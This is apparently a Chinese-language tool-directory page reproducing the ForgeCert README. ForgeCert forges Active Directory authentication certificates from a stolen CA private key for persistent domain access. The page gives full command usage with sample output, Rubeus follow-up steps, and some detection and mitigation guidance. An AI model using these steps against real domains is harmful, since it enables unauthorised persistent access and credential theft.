Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/ghostpack/forgecert
Payload生成持久化机制漏洞利用身份验证
GitHubghostpack/forgecert

ForgeCert

使用窃取的证书颁发机构私钥为Active Directory认证伪造证书,通过伪造的.pfx文件实现持久的域访问。

查看仓库
71511553年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ForgeCert

ForgeCert 使用 BouncyCastle C# API 和窃取的证书颁发机构 (CA) 证书 + 私钥,为能够向 Active Directory 进行身份验证的任意用户伪造证书。

此攻击在我们发布的 “Certified Pre-Owned”白皮书 中被编码为 DPERSIST1。该代码库在白皮书发布约 45 天后发布。

@tifkin_ 是 ForgeCert 的主要作者。

@tifkin_ 和 @harmj0y 是相关 Active Directory 证书服务研究(博客 和 白皮书)的主要作者。

背景

如我们的 白皮书 的 Background 和 Forging Certificates with Stolen CA Certificates - DPERSIST1 部分所述,证书颁发机构 CA 证书的私钥在 CA 服务器上通过 DPAPI 或硬件(HSM/TPM)进行保护。此外,证书(不包含私钥)会发布到 NTAuthCertificates 林对象,该对象定义了能够对 AD 进行身份验证的 CA 证书。综合来看,其证书存在于 NTAuthCertificates 中的 CA 使用其私钥对来自请求客户端的证书签名请求 (CSR) 进行签名。此图总结了该过程:

CA 私钥的安全性至关重要。如前所述,如果私钥未受 TPM 或 HSM 等硬件解决方案保护,则该密钥将使用数据保护 API (DPAPI) 进行加密,并存储在 CA 服务器的磁盘上。如果攻击者能够入侵 CA 服务器,他们可以使用 @gentilkiwi 的 Mimikatz 或 GhostPack 的 SharpDPAPI 项目提取任何未受硬件保护的 CA 证书的私钥。白皮书中的 THEFT3 描述了针对机器证书的此过程。

由于用于签署已颁发证书的唯一密钥材料是 CA 的私钥,因此如果攻击者窃取了这样一个密钥(针对 NTAuthCertificates 中的证书),他们就可以伪造能够进行域身份验证的证书。这些伪造的证书可以针对域中的任何主体(但帐户需要处于“活动”状态才能进行身份验证,因此像 krbtgt 这样的帐户将无法工作),并且证书的有效期与 CA 证书的有效期相同(通常默认为 5 年,但可以设置得更长)。

此外,由于这些证书不是正常颁发过程的产物,CA 并不知道它们已被创建。因此,这些证书 无法被吊销。

注意: NTAuthCertificates 中任何 CA 证书(根 CA 或从属 CA)的私钥都可以用于伪造能够在林中进行身份验证的证书。如果证书/密钥来自从属 CA,则必须提供合法的证书吊销列表 (CRL) 用于验证证书链。

ForgeCert 使用 BouncyCastle 的 X509V3CertificateGenerator 来执行伪造。

命令行用法

root@kitploit:~
C:\Temp>ForgeCert.exe
ForgeCert 1.0.0.0
Copyright c  2021

ERROR(S):
  Required option 'CaCertPath' is missing.
  Required option 'SubjectAltName' is missing.
  Required option 'NewCertPath' is missing.
  Required option 'NewCertPassword' is missing.

  --CaCertPath         Required. CA private key as a .pfx or .p12 file

  --CaCertPassword     Password to the CA private key file

  --Subject            (Default: CN=User) Subject name in the certificate

  --SubjectAltName     Required. UPN of the user to authenticate as

  --NewCertPath        Required. Path where to save the new .pfx certificate

  --NewCertPassword    Required. Password to the .pfx file

  --CRL                ldap path to a CRL for the forged certificate

  --help               Display this help screen.

  --version            Display version information.

用法

注意:有关窃取 CA 私钥和伪造身份验证证书的完整演练,请参阅 白皮书 中的 DPERSIST1。

上下文:

  • 窃取的 CA 证书是 ca.pfx,使用密码 Password123! 加密
  • 主题是任意的,因为我们为证书指定了使用者可选名称。
  • 使用者可选名称(即我们为其伪造证书的用户)是 [email protected]。
  • 伪造的证书将保存为 localadmin.pfx,使用密码 NewPassword123! 加密
root@kitploit:~
C:\Tools\ForgeCert>ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!"
CA Certificate Information:
  Subject:        CN=theshire-DC-CA, DC=theshire, DC=local
  Issuer:         CN=theshire-DC-CA, DC=theshire, DC=local
  Start Date:     1/4/2021 10:48:02 AM
  End Date:       1/4/2026 10:58:02 AM
  Thumbprint:     187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
  Serial:         14BFC25F2B6EEDA94404D5A5B0F33E21

Forged Certificate Information:
  Subject:        CN=User
  SubjectAltName: [email protected]
  Issuer:         CN=theshire-DC-CA, DC=theshire, DC=local
  Start Date:     7/26/2021 3:38:45 PM
  End Date:       7/26/2022 3:38:45 PM
  Thumbprint:     C5789A24E91A40819EFF7CFD77150595F8B9878D
  Serial:         3627A48F90F6869C3215FF05BC3B2E42

Done. Saved forged certificate to localadmin.pfx with the password 'NewPassword123!'

此伪造可以在攻击者控制的系统上完成,生成的证书可以与 Rubeus 一起使用,以请求 TGT(和/或检索用户的 NTLM ;)

防御考量

当前 ForgeCert 代码库的 TypeRefHash 为 b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0。

ForgeCert 的 TypeLib GUID 为 bd346689-8ee6-40b3-858b-4ed94f08d40a。这反映在此仓库当前的 Yara 规则中。

请参阅我们 白皮书 中的 PREVENT1、DETECT3 和 DETECT5,了解预防和检测指导。

Fabian Bader 发布了一篇 关于如何通过对 Microsoft OCSP 进行调整来缓解许多“黄金证书”使用情况 的优秀文章。但请注意,在 最终思考 部分,他提到 此方法并非万无一失。由于攻击者负责证书创建过程,她可以将序列号更改为有效的序列号。 这已在 他的 PR 中实现,但请记住,默认情况下序列号将是随机的,这意味着 OSCP 预防在许多情况下应该有效,并且我们认为值得实施。

我们相信可能有機會为该项目生成的伪造证书类型构建 Yara/其他检测规则 - 如果任何防御研究人员找到对这些文件进行签名的好方法,请告诉我们,我们将在此处更新 Yara 规则/防御指导。

反思

“黄金票据”(伪造的 TGT)和这些“黄金证书”(伪造的 AD CS 证书)之间存在明显的相似之处。krbtgt 哈希和 CA 私钥都是对 Active Directory 环境安全至关重要的加密材料,并且都可以用于为任意用户伪造身份验证器。然而,虽然 krbtgt 哈希可以通过 DCSync 远程检索,但 CA 私钥必须(至少据我们所知)通过在 CA 机器本身上执行代码来恢复。虽然 krbtgt 哈希可以 相对 容易地轮换,但轮换 CA 私钥则困难得多。

关于公开披露,我们在发布 白皮书 后自行封禁了进攻性工具(ForgeCert 以及 Certify)的发布约 45 天,以便让组织有机会了解围绕 Active Directory 证书服务的问题。然而,我们发现组织和供应商历史上往往不会修复问题或构建针对“理论性”攻击的检测,直到有人用概念验证证明某事是可能的。

这反映在一些人对研究的反应中:this IS StUPId, oF COurse YoU Can FORge CERts WITH ThE ca PriVAtE KeY. 对此我们声明,是的,很多事情都是可能的,但 PoC||GTFO

下载工具